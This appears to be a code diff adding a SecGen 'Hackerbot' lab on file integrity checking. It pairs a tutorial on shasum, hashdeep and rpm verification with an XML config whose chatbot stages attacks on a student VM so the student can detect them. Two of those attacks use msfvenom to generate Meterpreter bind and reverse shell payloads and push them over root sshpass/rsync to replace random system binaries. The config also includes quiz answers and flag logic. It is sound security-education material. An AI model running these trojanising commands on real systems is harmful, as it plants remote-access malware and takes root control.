+>
+> shasum /etc/passwd >> /tmp/hash.sha
+>
+> sudo shasum /etc/shadow >> /tmp/hash.sha
+>
+> shasum /bin/bash >> /tmp/hash.sha
+>
+> shasum /bin/ls >> /tmp/hash.sha
+
+Look at the contents of our new hashes file (Q to quit when done):
+
+> less /tmp/hash.sha
+
+Now use your new hash list to check that nothing has changed since we
+generated the hashes:
+
+> shasum -c /tmp/hash.sha
+
+Why does shasum fail to check the integrity of the shadow file?
+
+Make a change to our empty “*your-name*” file:
+
+> echo "hello" > *your-name*
+
+Check whether anything has changed since we generated hashes:
+
+> shasum -c /tmp/hash.sha
+
+You should see a nice explanation of the files that have changed since
+generating the hashes.
+
+#### Scripted integrity checking
+
+The above can also be accomplished via a simple script (in this case a
+Perl script):
+	
+	#!/usr/bin/perl
+	
+	# Copyleft 2012, Z. Cliffe Schreuders
+	
+	# Licenced under the terms of the GPLv3
+	
+	use warnings;
+	
+	use strict;
+	
+	my %files\_hashes = (
+	
+		"/bin/ls"=>"9304c5cba4e2a7dc25c2d56a6da6522e929eb848",
+	
+		"/bin/bash"=>"54d0d9610e49a654843497c19f6211b3ae41b7c0",
+	
+		"/etc/passwd"=>"69773dcef97bca8f689c5bc00e9335f7dd3d9e08"
+	
+	);
+	
+	foreach my \$file\_entry (keys %files\_hashes) {
+	
+	my \$hash = \`sha1sum \$file\_entry|awk '{print \\\$1}'|head -n1\`;
+	
+	chomp(\$hash);
+	
+	if(\$hash ne \$files\_hashes{\$file\_entry}){
+	
+	warn "FILE CHANGED: \$file\_entry (hash was \$hash, expected
+	\$files\_hashes{\$file\_entry})\\n";
+	
+	} else {
+	
+	print "File unmodified: \$file\_entry (hash was \$hash, as
+	expected)\\n";
+	
+	}
+	
+	}
+
+This script simply iterates over a list of file paths with SHA1 hashes
+(stored in an associative array), and runs sha1sum for each one to check
+whether the files are still the same.
+
+Save the script as checker.pl (Help: you may wish to install the default
+KDE GUI text editor Kate, if it is not already installed under the
+Utlities menu. You should be able to copy the script and paste it into
+Kate to save it as checker.pl. Kate can be installed using the following
+command: “sudo zypper install kate”)
+
+Then run the script with:
+
+> perl checker.pl
+
+Are the files reported as unmodified, or have they changed? Why might
+they be different to when I wrote the script?
+
+##### Recursive file integrity checkers
+
+The md5deep program (also known as sha1deep, sha256deep, and so on for
+different hash algorithms) can recursively walk through directories (and
+into all contained subdirectories) to generate and check lists of
+hashes.
+
+Run:
+
+> sudo sha1deep -r /etc
+>
+> If the md5deep command is not available, install it:
+>
+> On openSUSE this can be done by first running “cnf sha1deep”, to find
+> the name of the package containing the program, then run the install
+> command it gives you, such as “sudo zypper install md5deep”.
+>
+> If you get “PackageKit is blocking zypper”, then select “no”, and kill
+> PackageKit, by running “kill -9 *pid*”, where *pid* is the number
+> reported by the previous command. Now run the above again.
+>
+> If the zypper command is stuck on refreshing a repository, then press
+> “Ctrl-C”, “a” (for abort), then proceed with the installation as per
+> normal.
+>
+> Once the required software is installed, try the sha1deep command
+> again.
+
+The output of the above command will include hashes of every file in
+/etc, which is where system-wide configuration files are stored on Unix.
+
+Read the sha1deep manual to understand the above command:
+
+> man sha1deep
+>
+> Figure out what the -r flag does.
+>
+> (Q to quit)
+
+We can save (redirect) this output to a file so that we have a record of
+the current state of our system’s configuration:
+
+> sudo sha1deep -r /etc > /tmp/etc\_hashes
+
+This may take a minute or so, while the program calculates the hashes
+and sends them to standard out (known as stdout), which is then
+redirected to the etc\_hashes file.
+
+Next, let's compare the size of our list of hashes, with the actual
+content that we have hashed...
+
+See how big our list of hashes is:
+
+> ls -hs /tmp/etc\_hashes
+>
+> (-h = human readable, -s = size)
+
+This is likely to be in the Kilobytes.
+
+And for the size of all of the files in /etc:
+
+> sudo du -hs /etc
+>
+> (-h = human readable, -s summarise)
+
+This is likely in the Megabytes (or maybe even Gigabytes).
+
+Clearly, the list of hashes is much smaller.
+
+If you are **working with a classmate**, log into their system using ssh
+(as done previously). If you are working alone, simply run all the
+commands on your own system.
+
+Create a new file somewhere in /etc/, containing your name. Name the
+file whatever you like (for example /etc/test), although the more
+inconspicuous the better.
+
+> Hint: “sudo vi /etc/test”, “i” to enter insert mode, and after typing
+> your name, “Esc”, “:wq”.
+
+Also, change an existing file in /etc on their system, but please do be
+careful to only make a minor change that will **not cause damage to
+their system**. For example, you could use vi to edit /etc/hostname
+(“sudo vi /etc/hostname”), and add a comment to the file such as
+“\#your-name: bet you can’t find this comment!”
+
+You can now “exit” the ssh session.
+
+**On your own system**, lets try to identify what the “attacker” has
+done to our system...
+
+Now that we have a list of hashes of our files, use shasum to check if
+anything has changed using our newly generated list of hashes
+(/tmp/etc\_hashes).
+
+> Hint: look at the previous command using shasum to check hashes.
+
+Does this detect our the changed file AND the new file? Why not?
+
+Md5deep/sha1deep takes a different approach to checking integrity, by
+checking all of the files it is told to check (possibly recursing over
+all files in a directory) against a list of hashes, and reporting
+whether any files it checked did not (or did, depending on the flags
+used) have its hash somewhere in the hash list.
+
+Run sha1deep to check whether any files in /etc/ do not match a hash
+previously generated:
+
+> sudo sha1deep -X /tmp/etc\_hashes -r /etc
+
+This should detect both modified files, both new and modified.
+
+But would sha1deep detect a copy of an existing file, to a new location?
+
+Try it:
+
+> sudo cp /etc/passwd /etc/passwd.backup
+
+Now rerun the previous sha1deep command. Was the copy detected? Why not?
+
+What about copying one file over another? Which out of shasum or
+sha1deep would detect that?
+
+Another tool, hashdeep, which is included with md5deep, provides more
+coverage when it comes to detecting files that have moved, changed, or
+created.
+
+Generate a hash list for /etc using hashdeep:
+
+> sudo hashdeep -r /etc > /tmp/etc\_hashdeep\_hashes
+
+Hashdeep stores hashes in a different format than the previous tools.
+Have a look:
+
+> less /tmp/etc\_hashdeep\_hashes
+>
+> (q to quit)
+>
+> Note that the output includes some more information, such as the file
+> size for each file.
+
+Delete the new file that your “attacker” (the person who sshed into your
+system) created earlier:
+
+> sudo rm /etc/*whatever-the-filename-was*
+
+Conduct a hashdeep audit to detect any changes:
+
+> sudo hashdeep -r -a -k /tmp/etc\_hashdeep\_hashes /etc
+>
+> Note, that this can take a while, so feel free to start working
+> through the next section in another terminal, if you like.
+
+After, run it again, this time asking for more details, since the
+default message does not provide any information as to why an audit has
+failed:
+
+> sudo hashdeep -ra**vv** -k /tmp/etc\_hashdeep\_hashes /etc
+
+Consult the man page for information about what each of the above flags
+do.
+
+#### Detecting changes to resources using package management
+
+On Linux systems, package management systems are used to organise,
+install, and update software. The package management system has a
+database that keeps track of all the files for each program or software
+package. Depending on the package management system used, the database
+may maintain hashes in order to detect changes to files since install.
+RPM-based systems (such as Red Hat, Fedora, and OpenSUSE), store hashes
+of each file that is included in software packages. There are commands
+that can be used to detect changes to files that have occurred since
+being installed by the package management software.
+
+Note that there are times where it is perfectly normal for a number of
+files to not match the “fresh” versions that were installed: for
+example, configuring a system for use will involve editing configuration
+files that were distributed with software packages.
+
+The “rpm” command has a -V flag for verifying the integrity of packages.
+
+Choose any system file on the computer, such as /etc/securetty. To
+determine which package the file belongs to:
+
+> rpm -q --whatprovides *any-file-you-chose*
+>
+> Where any-file-you-chose is any file such as /etc/securetty.
+
+The output of that command the package-name, and is required in the next
+step.
+
+Check the integrity of the file:
+
+> rpm -V *package-name*
+>
+> Where package-name is the output from the previous command.
+
+An example from the output would be:
+
+> 5S.T..... c /etc/securetty
+
+Which means, it is a config file (c), and:
+
+-   S – file Size differs
+
+-   M – Mode differs (includes permissions and file type)
+
+-   5 – MD5 sum differs
+
+-   D – Device major/minor number mismatch
+
+-   L – readLink(2) path mismatch
+
+-   U – User ownership differs
+
+-   G – Group ownership differs
+
+-   T – mTime differs
+
+-   P – caPabilities differ
+
+Use the above information to understand the output from your above rpm
+-V command.
+
+Next verify the integrity of all of the packages on the entire system
+(this may take a while):
+
+> rpm -Va
+
+Try to understand the cause of any files failing the integrity checks.
+
+Consider the limitations of this approach: what files will (and won’t)
+this approach to integrity management cover?
+
+#### Limitations of integrity checking
+
+Perhaps the greatest limitation to all of these approaches, is that if a
+system is compromised, you may not be able to trust any of the tools on
+the system, or even the operating system itself to behave as expected.
+In the case of a security compromise, your configuration files may have
+been altered, including any hashes you have stored locally, and tools
+may have been replaced by Trojan horses. For this reason it is safer to
+run tools over the network or from a removable drive, with read-only
+access to protect your backups and hashes. Even then, the
+OS/kernel/shell may not be telling you the truth about what is
+happening, since a rootkit could be concealing the truth from other
+programs.
+
+### Problem-based tasks
+
+#### Choosing files for integrity checking
+
+Fill in the table below with a number of files on a Unix or Windows
+system whose integrity should be monitored for security purposes:
+
+  **Filename**          **Description**           **Security reason for monitoring integrity**
+  --------------------- ------------------------- ---------------------------------------------------------------------------------------------------------------------
+  *Unix: /etc/passwd*   *List of user accounts*   *Adding or modifying users is security sensitive, since rogue user accounts could present a backdoor to the system*
+                                                  
+                                                  
+                                                  
+                                                  
+                                                  
+                                                  
+                                                  
+                                                  
+                                                  
+                                                  
+
+**Complete the table above, with a number of Unix/Windows files that
+should be monitored for integrity, as evidence that you have completed
+this part of the task.**
+
+**Label it or save it as “Integrity-A1”.**
+
+Add an integrity monitoring solution (md5sum, md5deep, or hashdeep) to a
+cron job, so that every hour the integrity of some important files are
+checked, and any errors are emailed to root.
+
+Hints: Any output on standard error (stderr) on a cron job results in a
+local email to root. As root, type “mail” to read the local emails. Run
+“crontab -e” to add scheduled tasks. Google will certainly help here.
+
+Help: You may find the following links if you have not used cron before
+to run scheduled tasks.
+
+[*Click here for an openSUSE
+Video*](https://www.youtube.com/watch?v=bQfza9aLjss)
+
+[*Click here for a cron
+tutorial*](http://www.computerhope.com/unix/ucrontab.htm)
+
+[*Click here for cron
+examples*](http://www.thegeekstuff.com/2009/06/15-practical-crontab-examples/comment-page-1/)
+
+**Take screenshots of an hourly cronjob rule, and email with an
+integrity report from md5sum/deep or hashdeep, as evidence that you have
+completed this part of the task.**
+
+**Label it or save it as “Integrity-A2”.**
+
+Add to your above solution, by considering and implementing some
+protection against modifications to your hash file/database.
+
+**Take a screenshot of your configuration for protection of the hash
+file (and include a one sentence description), as evidence that you have
+completed this part of the task.**
+
+**Label it or save it as “Integrity-A3”.**
+
+Install either OSSEC (Open Source Host-based Intrusion Detection
+System), AIDE (Advanced Intrusion Detection Environment), or Tripwire
+(if you can find a copy), and use it to monitor the integrity of your
+files. Modify a file named *your-name* (your actual name) and view a
+report or alert that the integrity of the file has been compromised.
+
+**Take a screenshot of a report from OSSEC or AIDE that a file named
+after you has been altered, as evidence that you have completed this
+part of the task.**
+
+**Label it or save it as “Integrity-A4”.**
+
+Add to the integrity monitoring script given earlier, to store and
+retrieve the hashes from a file.
+
+For extra marks, protect the hashes using a HMAC, with user interaction
+to enter a password.
+
+**Save your modifications of the script, as evidence that you have
+completed this part of the task.**
+
+**Label it or save it as “Integrity-A5”.**
+
+### Resources
+
+An excellent resource on the subject of integrity management is Chapter
+20 of the excellent book *Practical Unix & Internet Security, 3rd Ed*,
+by Garfinkel et al (2003).
+
+[^1]: Setting a file to immutable (and therefore impossible to simply
+    delete) can be an effective prank against the uninitiated in Unix
+    ways.
+
+[^2]: It is obvious that there are risks associated with knowing each
+    other’s root passwords! Obviously, use this knowledge responsibly to
+    work together to complete the tasks.
+    
+## License
+
+![](media/media/image4.png)
+
+This work by [*Z. Cliffe Schreuders*](http://z.cliffe.schreuders.org) at Leeds Beckett University is licensed under a [*Creative Commons
+Attribution-ShareAlike 3.0 Unported License*](http://creativecommons.org/licenses/by-sa/3.0/deed.en_GB).
+
+

modules/generators/structured_content/hackerbot_config/integrity_detection/templates/integrity_lab.xml.erb

@@ -0,0 +1,448 @@
+<%
+  require 'json'
+  require 'securerandom'
+  require 'digest/sha1'
+  require 'fileutils'
+  require 'erb'
+
+  if self.accounts.empty?
+    abort('Sorry, you need to provide an account')
+  end
+
+  $first_account = JSON.parse(self.accounts.first)
+  $second_account = JSON.parse(self.accounts[1])
+
+  $files = []
+  $log_files = []
+  if $first_account.key?("leaked_filenames") &&  $first_account['leaked_filenames'].size > 0
+    $files = $first_account['leaked_filenames']
+    $log_files = $first_account['leaked_filenames'].grep(/log/)
+  end
+
+  if $files.empty?
+    $files = ['myfile', 'afile', 'filee', 'thefile']
+  end
+  if $log_files.empty?
+    $log_files = ['log', 'thelog', 'logs', 'frogonalog']
+  end
+
+  $main_user = $first_account['username'].to_s
+  $second_user = $second_account['username'].to_s
+  $example_file = "/home/#{$main_user}/#{$files.sample}"
+  $example_dir = "/home/#{$main_user}/personal_secrets/"
+
+  $root_password = self.root_password
+  $flags = self.flags
+
+  REQUIRED_FLAGS = 14
+  while $flags.length < REQUIRED_FLAGS
+    $flags << "flag{#{SecureRandom.hex}}"
+    Print.err "Warning: Not enough flags provided to hackerbot_config generator, some flags won't be tracked/marked!"
+  end
+
+  def get_binding
+    binding
+  end
+%>
+<?xml version="1.0"?>
+
+<hackerbot
+               xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+               xsi:schemaLocation="http://www.github/cliffe/SecGen/hackerbot">
+<!--<hackerbot xmlns="http://www.github/cliffe/SecGen/hackerbotz"-->
+
+	<name>Hackerbot</name>
+
+	<AIML_chatbot_rules>config/AIML</AIML_chatbot_rules>
+
+	<!--Method for gaining shell access, can be overwritten per-attack-->
+	<!--<get_shell>bash</get_shell>-->
+	<get_shell>sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@{{chat_ip_address}} /bin/bash</get_shell>
+
+	<messages>
+		<greeting>Your system is about to be hacked. I'll do what I can hold them off, but you are going to have to work with me to protect yourself. I'll cough up some flags if you work with me.</greeting>
+
+		<!--Must provide alternatives for each message-->
+		<say_ready>Let me know when you are 'ready', if you want to move on to another attack, say 'next', or 'previous' and I'll move things along.</say_ready>
+		<say_ready>When you are ready, simply say 'ready'.</say_ready>
+		<say_ready>'Ready'?</say_ready>
+		<say_ready>Better hurry, the attack is imminent... Let me know when you're 'ready'.</say_ready>
+		<next>Ok, I'll do what I can to move things along...</next>
+		<next>Moving things along to the next attack...</next>
+		<next>Ok, next attack...</next>
+		<previous>Ok, I'll do what I can to back things up...</previous>
+		<previous>Ok, previous attack...</previous>
+		<previous>Ok, backing up.</previous>
+		<goto>Ok, skipping it along.</goto>
+		<goto>Let me see what I can do to goto that attack.</goto>
+		<last_attack>That was the last attack for now. You can rest easy, until next time... (End.)</last_attack>
+		<last_attack>That was the last attack. Game over?</last_attack>
+		<first_attack>You are back to the beginning!</first_attack>
+		<first_attack>This is where it all began.</first_attack>
+		<getting_shell>Ok. Gaining shell access, and running post command...</getting_shell>
+		<getting_shell>Hacking in progress...</getting_shell>
+		<getting_shell>Attack underway...</getting_shell>
+		<getting_shell>Here we go...</getting_shell>
+		<got_shell>We are in to your system.</got_shell>
+		<got_shell>You are pwned.</got_shell>
+		<got_shell>We have shell.</got_shell>
+		<repeat>Let me know when you are 'ready', if you want to move on to another attack, say 'next', or 'previous' and I'll move things along.</repeat>
+		<repeat>Say 'ready', 'next', or 'previous'.</repeat>
+
+		<!--Single responses:-->
+		<help>I am waiting for you to say 'ready', 'next', 'previous', 'list', 'goto *X*', or 'answer *X*'</help>
+		<say_answer>Say "The answer is *X*".</say_answer>
+		<no_quiz>There is no question to answer</no_quiz>
+		<correct_answer>Correct</correct_answer>
+		<incorrect_answer>Incorrect</incorrect_answer>
+		<invalid>That's not possible.</invalid>
+		<non_answer>Wouldn't you like to know.</non_answer>
+
+		<!--can be overwritten per-attack-->
+		<shell_fail_message>Oh no. Failed to get shell... You need to let us in.</shell_fail_message>
+	</messages>
+
+	<tutorial_info>
+		<title>Integrity Management: Detecting Change</title>
+		<tutorial><%= ERB.new(File.read self.templates_path + 'intro.md.erb').result(self.get_binding) %></tutorial>
+		<footer><%= File.read self.templates_path + 'integrity_limitations.md.erb' %>
+
+<%= File.read self.templates_path + 'resources.md.erb' %>
+
+<%= File.read self.templates_path + 'license.md.erb' %>
+
+Randomised instance generated by [SecGen](http://github.com/cliffe/SecGen) (<%= Time.new.to_s %>)
+		</footer>
+
+		<provide_tutorial>true</provide_tutorial>
+
+	</tutorial_info>
+
+	<attack>
+<% $random_user = SecureRandom.hex -%>
+		<!-- topic: Detecting changes to resources using backups-->
+		<prompt>An attempt to add a new user is coming, let it happen. But first create a backup of /etc/passwd to /home/<%= $main_user %>/backups/passwd.</prompt>
+
+		<post_command>rm /etc/.pwd.lock; sudo adduser <%= $random_user %> --gecos '<%= $random_user %>' --disabled-password --quiet; echo $?</post_command>
+		<suppress_command_output_feedback />
+		<condition>
+			<output_matches>returned error code</output_matches>
+			<message>:( Couldn't add a user -- make sure /etc/ is not still read-only mounted!.</message>
+		</condition>
+		<condition>
+			<output_matches>0</output_matches>
+			<message>User added</message>
+			<!--<trigger_next_attack>true</trigger_next_attack>-->
+			<trigger_quiz />
+		</condition>
+		<condition>
+			<output_matches>already exists</output_matches>
+			<message>:( Remove the user and try again.</message>
+		</condition>
+		<condition>
+			<output_matches>Permission denied|Operation not permitted|Read-only</output_matches>
+			<message>:( You stopped the attack, rather than monitor for changes...</message>
+		</condition>
+		<else_condition>
+			<message>:( Something was not right...</message>
+		</else_condition>
+
+		<quiz>
+			<question>Now after the attack, find the username added by diffing using a backup. What username was created?</question>
+			<answer>^<%= $random_user %>$</answer>
+			<correct_answer_response>:) <%= $flags.pop %></correct_answer_response>
+			<trigger_next_attack />
+		</quiz>
+	<tutorial>
+<%= File.read self.templates_path + 'detect_changes.md.erb' %>
+
+<%= ERB.new(File.read self.templates_path + 'detect_changes_backups.md.erb').result(self.get_binding) %>
+	</tutorial>
+	</attack>
+
+	<attack>
+		<!-- topic: Detecting changes to resources using backups-->
+		<prompt>An attempt to edit a config file is coming, let it happen. But first make sure you have a backup of the /etc/ directory at /home/<%= $main_user %>/backups/etc/.</prompt>
+		<post_command>changedf=`find /etc/ -name '*.sh' | sort -R | head -n 1`; echo '# <%= $flags.pop %>' >> $changedf; echo $changedf</post_command>
+		<suppress_command_output_feedback />
+		<condition>
+			<output_matches>/etc/</output_matches>
+			<message>A flag has been inserted into a random file in /etc/. Find the flag. Get to work!</message>
+			<trigger_quiz />
+		</condition>
+		<condition>
+			<output_matches>Permission denied|Operation not permitted|Read-only</output_matches>
+			<message>:( You stopped the attack, rather than monitor for changes... We are trying to write to /etc/</message>
+		</condition>
+		<else_condition>
+			<message>:( Something was not right... We are trying to write to /etc/</message>
+		</else_condition>
+
+		<quiz>
+			<question>Find the flag in your backups. For a second flag, what file was the flag stored in?</question>
+			<answer>{{post_command_output}}</answer>
+			<correct_answer_response>:) <%= $flags.pop %></correct_answer_response>
+			<trigger_next_attack />
+		</quiz>
+	</attack>
+
+
+	<attack>
+		<!-- topic: Detecting changes to resources using backups-->
+		<prompt>An attempt to edit a config file is coming, let it happen. But first make sure you have a backup of the /etc/ directory at /home/<%= $main_user %>/backups/etc/.</prompt>
+		<post_command>changedf=`find /home/<%= $main_user %>/backups/etc/ -name '*.sh' | sort -R | head -n 1`; echo '# <%= $flags.pop %>' >> $changedf; echo $changedf</post_command>
+		<suppress_command_output_feedback />
+		<condition>
+			<output_matches>/home/<%= $main_user %>/backups/</output_matches>
+			<message>A flag has been inserted into a random file IN YOUR BACKUPS! (Did you really think that was a safe place to store them?) Find the flag. Get to work!</message>
+			<trigger_quiz />
+		</condition>
+		<condition>
+			<output_matches>Permission denied|Operation not permitted|Read-only</output_matches>
+			<message>:( You stopped the attack, rather than monitor for changes... We are trying to write to /home/<%= $main_user %>/backups/etc/</message>
+		</condition>
+		<else_condition>
+			<message>:( Something was not right... We are trying to write to /home/<%= $main_user %>/backups/etc/</message>
+		</else_condition>
+
+		<quiz>
+			<question>Find the flag in your backups. For a second flag, what file was the flag stored in?</question>
+			<answer>{{post_command_output}}</answer>
+			<correct_answer_response>:) <%= $flags.pop %></correct_answer_response>
+			<trigger_next_attack />
+		</quiz>
+	</attack>
+
+	<attack>
+<% $random = SecureRandom.hex -%>
+		<!-- topic: File integrity checkers-->
+		<prompt>Creating a new file in /home/<%= $main_user %>/... Let it happen.</prompt>
+
+		<post_command>echo '<%= $random %>' > /home/<%= $main_user %>/something_secret; echo $?</post_command>
+		<condition>
+			<output_matches>0</output_matches>
+			<message>Created /home/<%= $main_user %>/something_secret</message>
+			<trigger_quiz />
+		</condition>
+		<condition>
+			<output_matches>Permission denied|Operation not permitted|Read-only</output_matches>
+			<message>:( You stopped the attack, rather than monitor for changes...</message>
+		</condition>
+		<else_condition>
+			<message>:( Something was not right...</message>
+		</else_condition>
+
+		<quiz>
+			<question>What is the SHA1 hash of /home/<%= $main_user %>/something_secret?</question>
+			<answer>^<%= Digest::SHA1.hexdigest ("#{$random + "\n"}") %>$</answer>
+			<correct_answer_response>:) <%= $flags.pop %></correct_answer_response>
+			<trigger_next_attack />
+		</quiz>
+		<tutorial><%= ERB.new(File.read self.templates_path + 'fim.md.erb').result(self.get_binding) %></tutorial>
+	</attack>
+
+	<attack>
+		<!-- topic: File integrity checkers-->
+		<prompt>Going to edit one of your files in /etc/. First, create hashes of /etc/. You will use hash comparisons to detect which file changes</prompt>
+		<post_command>x=`find /etc/ -name '*.sh' | sort -R | head -n 1`; echo '' >> $x; echo $x</post_command>
+		<suppress_command_output_feedback />
+
+		<condition>
+			<output_matches>/etc.*</output_matches>
+			<message>Good. Now answer this...</message>
+			<trigger_quiz />
+		</condition>
+		<condition>
+			<output_matches>Permission denied|Operation not permitted|Read-only</output_matches>
+			<message>:( You stopped the attack, rather than monitor for changes...</message>
+		</condition>
+		<else_condition>
+			<message>:( Something was not right...</message>
+		</else_condition>
+
+		<quiz>
+			<question>What is the file that changed? Use hash comparisons.</question>
+			<answer>{{post_command_output}}</answer>
+			<correct_answer_response>:) <%= $flags.pop %></correct_answer_response>
+			<trigger_next_attack />
+		</quiz>
+		<tutorial><%= ERB.new(File.read self.templates_path + 'fim_recursive.md.erb').result(self.get_binding) %></tutorial>
+	</attack>
+
+	<attack>
+		<!-- topic: File integrity checkers-->
+		<prompt>Going to create a new file in /etc/, use hash comparisons to detect which new file changes.</prompt>
+		<post_command>x=`find /etc/ -type d | sort -R | head -n 1`; mktemp -p $x -t "XXXXXXXX"</post_command>
+		<suppress_command_output_feedback />
+
+		<condition>
+			<output_matches>/etc.*</output_matches>
+			<message>Good. Now answer this...</message>
+			<trigger_quiz />
+		</condition>
+		<condition>
+			<output_matches>Permission denied|Operation not permitted|Read-only</output_matches>
+			<message>:( You stopped the attack, rather than monitor for changes... We need to be able to write to /secrets/something_secret/</message>
+		</condition>
+		<else_condition>
+			<message>:( Something was not right...</message>
+		</else_condition>
+
+		<quiz>
+			<question>What is the file that was created?</question>
+			<answer>{{post_command_output}}</answer>
+			<correct_answer_response>:) <%= $flags.pop %></correct_answer_response>
+			<trigger_next_attack />
+		</quiz>
+	</attack>
+
+	<!--TODO could further randomise outcomes-->
+	<attack>
+		<!-- topic: File integrity checkers-->
+		<prompt>Going to copy a new random binary in /bin/|/usr/bin/ use hash comparisons to find the filename of the copied file.</prompt>
+		<post_command>srcf=`find /bin/ /usr/bin/ -executable | sort -R | head -n 1`; srcf="${srcf%\\n}"; dest=$srcf.$RANDOM; cp $srcf $dest; echo $dest</post_command>
+		<suppress_command_output_feedback />
+
+		<condition>
+			<output_matches>/bin/</output_matches>
+			<message>Good. Now answer this...</message>
+			<trigger_quiz />
+		</condition>
+		<condition>
+			<output_matches>Permission denied|Operation not permitted|Read-only</output_matches>
+			<message>:( You stopped the attack, rather than monitor for changes...</message>
+		</condition>
+		<else_condition>
+			<message>:( Something was not right...</message>
+		</else_condition>
+
+		<quiz>
+			<question>What is the file that was created?</question>
+			<answer>{{post_command_output}}</answer>
+			<correct_answer_response>:) <%= $flags.pop %></correct_answer_response>
+			<trigger_next_attack />
+		</quiz>
+	</attack>
+
+	<!--TODO could further randomise outcomes-->
+	<attack>
+		<!-- topic: File integrity checkers-->
+		<prompt>Going to move random binaries in /bin/|/usr/bin/ use hash comparisons to find the filenames.</prompt>
+		<post_command>mv1=`find /bin/ /usr/bin/ -executable | sort -R | head -n 1`; mv2=`find /bin/ /usr/bin/ -executable | sort -R | head -n 1`; mv $mv1 $mv1.tmp; mv $mv2 $mv1; mv $mv1.tmp $mv2; echo "$mv1 $mv2|$mv2 $mv1"</post_command>
+		<suppress_command_output_feedback />
+
+		<condition>
+			<output_matches>/bin/</output_matches>
+			<message>Good. Now answer this...</message>
+			<trigger_quiz />
+		</condition>
+		<condition>
+			<output_matches>Permission denied|Operation not permitted|Read-only</output_matches>
+			<message>:( You stopped the attack, rather than monitor for changes...</message>
+		</condition>
+		<else_condition>
+			<message>:( Something was not right... </message>
+		</else_condition>
+
+		<quiz>
+			<question>What were the two files that were created? Write the two full paths separated by a space.</question>
+			<answer>{{post_command_output}}</answer>
+			<correct_answer_response>:) <%= $flags.pop %></correct_answer_response>
+			<trigger_next_attack />
+		</quiz>
+	</attack>
+
+	<!--copied a new random file in /etc/ use hash comparisons to find the filename. -->
+	<!--TODO test this-->
+	<attack>
+		<!-- topic: File integrity checkers-->
+		<prompt>Going to copy a new random file in /etc/ use hash comparisons to find the filename.</prompt>
+		<post_command>srcf=`find /etc/ -type f | sort -R | head -n 1`; srcf="${srcf%\\n}"; dest=$srcf.$RANDOM; cp $srcf $dest; echo $dest</post_command>
+		<suppress_command_output_feedback />
+
+		<condition>
+			<output_matches>/etc.*</output_matches>
+			<message>Good. Now answer this...</message>
+			<trigger_quiz />
+		</condition>
+		<condition>
+			<output_matches>Permission denied|Operation not permitted|Read-only</output_matches>
+			<message>:( You stopped the attack, rather than monitor for changes... </message>
+		</condition>
+		<else_condition>
+			<message>:( Something was not right...</message>
+		</else_condition>
+
+		<quiz>
+			<question>What is the file that was created?</question>
+			<answer>{{post_command_output}}</answer>
+			<correct_answer_response>:) <%= $flags.pop %></correct_answer_response>
+			<trigger_next_attack />
+		</quiz>
+	</attack>
+
+	<!--trojanising a file in /usr/bin/, use package verification to detect which file changes-->
+	<attack>
+		<!-- topic: File integrity checkers-->
+		<pre_shell>binname=`sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@{{chat_ip_address}} 'find /bin/ /usr/bin/ -executable | sort -R | head -n 1'`; echo $binname; msfvenom --platform linux -p linux/x86/meterpreter/bind_tcp -f elf -o /tmp/msfout; /usr/bin/rsync -ratlz --rsh="/usr/bin/sshpass -p <%= $root_password %> ssh -o StrictHostKeyChecking=no -l root" /tmp/msfout $binname</pre_shell>
+		<get_shell>false</get_shell>
+
+		<prompt>Going to replace a binary file in /bin/ or /usr/bin/ with malware. Use PACKAGE VERIFICATION to detect which file has changed</prompt>
+
+		<condition>
+			<output_matches>/bin/</output_matches>
+			<message>Good. Now answer this...</message>
+			<trigger_quiz />
+		</condition>
+		<condition>
+			<output_matches>Permission denied|Operation not permitted|Read-only</output_matches>
+			<message>:( You stopped the attack, rather than monitor for changes.../</message>
+		</condition>
+		<else_condition>
+			<message>:( Something was not right...</message>
+		</else_condition>
+
+		<quiz>
+			<question>What is the file that was created?</question>
+			<answer>{{pre_shell_command_output_first_line}}</answer>
+			<correct_answer_response>:) <%= $flags.pop %></correct_answer_response>
+			<trigger_next_attack />
+		</quiz>
+		<tutorial><%= File.read self.templates_path + 'fim_package_management.md.erb' %></tutorial>
+	</attack>
+
+	<!--basically the same as above, but not specifying method to use-->
+	<attack>
+		<!-- topic: File integrity checkers-->
+		<pre_shell>binname=`sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@{{chat_ip_address}} 'find /bin/ /usr/bin/ -executable | sort -R | head -n 1'`; echo $binname; msfvenom --platform linux -p linux/x86/meterpreter/reverse_tcp -f elf -o /tmp/msfout; /usr/bin/rsync -ratlz --rsh="/usr/bin/sshpass -p <%= $root_password %> ssh -o StrictHostKeyChecking=no -l root" /tmp/msfout $binname</pre_shell>
+		<get_shell>false</get_shell>
+
+		<prompt>Going to replace a binary file in /bin/ or /usr/bin/ with malware. Detect which file has changed</prompt>
+
+		<condition>
+			<output_matches>/bin/</output_matches>
+			<message>Good. Now answer this...</message>
+			<trigger_quiz />
+		</condition>
+		<condition>
+			<output_matches>Permission denied|Operation not permitted|Read-only</output_matches>
+			<message>:( You stopped the attack, rather than monitor for changes.../</message>
+		</condition>
+		<else_condition>
+			<message>:( Something was not right...</message>
+		</else_condition>
+
+		<quiz>
+			<question>What is the file that was created?</question>
+			<answer>{{pre_shell_command_output_first_line}}</answer>
+			<correct_answer_response>:) <%= $flags.pop %></correct_answer_response>
+			<trigger_next_attack />
+		</quiz>
+	</attack>
+
+	<attack>
+		<prompt>Finally, try to prevent me from obtaining shell access to your system</prompt>
+		<shell_fail_message>:) Failed to get shell... <%= $flags.pop %></shell_fail_message>
+	</attack>
+
+</hackerbot>

modules/generators/structured_content/hackerbot_config/integrity_detection/templates/integrity_limitations.md.erb

@@ -0,0 +1,3 @@
+#### Limitations of integrity checking
+
+Perhaps the greatest limitation to all of these approaches, is that if a system is compromised, you may not be able to trust any of the tools on the system, or even the operating system itself to behave as expected. In the case of a security compromise, your configuration files may have been altered, including any hashes you have stored locally, and tools may have been replaced by Trojan horses. For this reason it is safer to run tools over the network or from a removable drive, with read-only access to protect your backups and hashes. Even then, the OS/kernel/shell may not be telling you the truth about what is happening, since a rootkit could be concealing the truth from other programs.

modules/generators/structured_content/hackerbot_config/integrity_detection/templates/intro.md.erb

@@ -0,0 +1,50 @@
+# Integrity Management: Detecting Change
+
+## Getting started
+### VMs in this lab
+
+==Start these VMs== (if you haven't already):
+- hackerbot_server (leave it running, you don't log into this)
+- desktop
+
+### Your login details for the "desktop" VM
+User: <%= $main_user %>
